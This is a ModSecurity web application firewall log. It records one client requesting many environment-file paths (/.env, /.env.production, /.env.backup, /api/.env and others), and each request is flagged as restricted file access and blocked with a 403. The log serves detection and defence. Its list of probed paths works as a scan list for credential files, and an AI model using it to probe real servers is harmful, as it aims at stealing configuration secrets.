[Mon Oct 26 19:57:36.095985 2026] [security2:error] [pid 3122515:tid 3122515] [client 54.38.98.178:43584] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at_o8P9ZN9W71fUwv43PagAAAAA"]
[Mon Oct 26 19:57:36.096920 2026] [security2:error] [pid 3122515:tid 3122515] [client 54.38.98.178:43584] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8P9ZN9W71fUwv43PagAAAAA"]
[Mon Oct 26 19:57:36.335296 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.38.98.178:43588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "at_o8LHarSgES5WqcDhISAAAAAU"]
[Mon Oct 26 19:57:36.335532 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.38.98.178:43588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "at_o8LHarSgES5WqcDhISAAAAAU"]
[Mon Oct 26 19:57:36.336511 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.38.98.178:43588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8LHarSgES5WqcDhISAAAAAU"]
[Mon Oct 26 19:57:36.586187 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.38.98.178:43596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.prod"] [unique_id "at_o8K-38nK2hNeBrtRDAwAAAAE"]
[Mon Oct 26 19:57:36.586419 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.38.98.178:43596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.prod"] [unique_id "at_o8K-38nK2hNeBrtRDAwAAAAE"]
[Mon Oct 26 19:57:36.587310 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.38.98.178:43596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8K-38nK2hNeBrtRDAwAAAAE"]
[Mon Oct 26 19:57:36.821942 2026] [security2:error] [pid 3083765:tid 3083765] [client 54.38.98.178:43608] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "at_o8KFL9aMETz-8AU8gzwAAAAQ"]
[Mon Oct 26 19:57:36.822177 2026] [security2:error] [pid 3083765:tid 3083765] [client 54.38.98.178:43608] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.production"] [unique_id "at_o8KFL9aMETz-8AU8gzwAAAAQ"]
[Mon Oct 26 19:57:36.827000 2026] [security2:error] [pid 3083765:tid 3083765] [client 54.38.98.178:43608] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8KFL9aMETz-8AU8gzwAAAAQ"]
[Mon Oct 26 19:57:37.059265 2026] [security2:error] [pid 3098116:tid 3098116] [client 54.38.98.178:43622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.staging"] [unique_id "at_o8TS1e-yu7xYT1dr8GwAAAAk"]
[Mon Oct 26 19:57:37.059557 2026] [security2:error] [pid 3098116:tid 3098116] [client 54.38.98.178:43622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.staging"] [unique_id "at_o8TS1e-yu7xYT1dr8GwAAAAk"]
[Mon Oct 26 19:57:37.060519 2026] [security2:error] [pid 3098116:tid 3098116] [client 54.38.98.178:43622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8TS1e-yu7xYT1dr8GwAAAAk"]
[Mon Oct 26 19:57:37.294607 2026] [security2:error] [pid 3100940:tid 3100940] [client 54.38.98.178:43636] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.dev"] [unique_id "at_o8T77nSD73jfhp0aESgAAAAc"]
[Mon Oct 26 19:57:37.294857 2026] [security2:error] [pid 3100940:tid 3100940] [client 54.38.98.178:43636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.dev"] [unique_id "at_o8T77nSD73jfhp0aESgAAAAc"]
[Mon Oct 26 19:57:37.295788 2026] [security2:error] [pid 3100940:tid 3100940] [client 54.38.98.178:43636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8T77nSD73jfhp0aESgAAAAc"]
[Mon Oct 26 19:57:37.531122 2026] [security2:error] [pid 3122519:tid 3122519] [client 54.38.98.178:43644] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "at_o8cSPa3-L2OSmntaIjgAAAAI"]
[Mon Oct 26 19:57:37.531362 2026] [security2:error] [pid 3122519:tid 3122519] [client 54.38.98.178:43644] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "at_o8cSPa3-L2OSmntaIjgAAAAI"]
[Mon Oct 26 19:57:37.532261 2026] [security2:error] [pid 3122519:tid 3122519] [client 54.38.98.178:43644] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8cSPa3-L2OSmntaIjgAAAAI"]
[Mon Oct 26 19:57:37.765800 2026] [security2:error] [pid 3117426:tid 3117426] [client 54.38.98.178:43650] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "at_o8f5ZEdGRoel0j8feQwAAAAg"]
[Mon Oct 26 19:57:37.766025 2026] [security2:error] [pid 3117426:tid 3117426] [client 54.38.98.178:43650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "at_o8f5ZEdGRoel0j8feQwAAAAg"]
[Mon Oct 26 19:57:37.766861 2026] [security2:error] [pid 3117426:tid 3117426] [client 54.38.98.178:43650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8f5ZEdGRoel0j8feQwAAAAg"]
[Mon Oct 26 19:57:38.009915 2026] [security2:error] [pid 3117428:tid 3117428] [client 54.38.98.178:43660] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.old"] [unique_id "at_o8iWN_iofYZIHyv476AAAAAs"]
[Mon Oct 26 19:57:38.010139 2026] [security2:error] [pid 3117428:tid 3117428] [client 54.38.98.178:43660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.old"] [unique_id "at_o8iWN_iofYZIHyv476AAAAAs"]
[Mon Oct 26 19:57:38.010988 2026] [security2:error] [pid 3117428:tid 3117428] [client 54.38.98.178:43660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8iWN_iofYZIHyv476AAAAAs"]
[Mon Oct 26 19:57:38.247198 2026] [security2:error] [pid 3122515:tid 3122515] [client 54.38.98.178:43664] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.save"] [unique_id "at_o8v9ZN9W71fUwv43PawAAAAA"]
[Mon Oct 26 19:57:38.247391 2026] [security2:error] [pid 3122515:tid 3122515] [client 54.38.98.178:43664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.save"] [unique_id "at_o8v9ZN9W71fUwv43PawAAAAA"]
[Mon Oct 26 19:57:38.248157 2026] [security2:error] [pid 3122515:tid 3122515] [client 54.38.98.178:43664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8v9ZN9W71fUwv43PawAAAAA"]
[Mon Oct 26 19:57:38.493652 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.38.98.178:43666] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "at_o8rHarSgES5WqcDhISQAAAAU"]
[Mon Oct 26 19:57:38.493862 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.38.98.178:43666] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/config/.env"] [unique_id "at_o8rHarSgES5WqcDhISQAAAAU"]
[Mon Oct 26 19:57:38.494630 2026] [security2:error] [pid 3098113:tid 3098113] [client 54.38.98.178:43666] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8rHarSgES5WqcDhISQAAAAU"]
[Mon Oct 26 19:57:38.728972 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.38.98.178:43678] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "at_o8q-38nK2hNeBrtRDBAAAAAE"]
[Mon Oct 26 19:57:38.729185 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.38.98.178:43678] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "at_o8q-38nK2hNeBrtRDBAAAAAE"]
[Mon Oct 26 19:57:38.730260 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.38.98.178:43678] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8q-38nK2hNeBrtRDBAAAAAE"]
[Mon Oct 26 19:57:38.959460 2026] [security2:error] [pid 3083765:tid 3083765] [client 54.38.98.178:43688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "at_o8qFL9aMETz-8AU8g0AAAAAQ"]
[Mon Oct 26 19:57:38.959653 2026] [security2:error] [pid 3083765:tid 3083765] [client 54.38.98.178:43688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "at_o8qFL9aMETz-8AU8g0AAAAAQ"]
[Mon Oct 26 19:57:38.960438 2026] [security2:error] [pid 3083765:tid 3083765] [client 54.38.98.178:43688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at_o8qFL9aMETz-8AU8g0AAAAAQ"]
[Mon Oct 26 19:57:39.200082 2026] [security2:error] [pid 3098116:tid 3098116] [client 54.38.98.178:43696] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "at_o8zS1e-yu7xYT1dr8HAAAAAk"]
[Mon Oct 26 19:57:39.200273 2026] [security2:error] [pid 3098116:tid 3098116] [client 54.38.98.178:43696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "at_o8zS1e-yu7xYT1dr8HAAAAAk"]
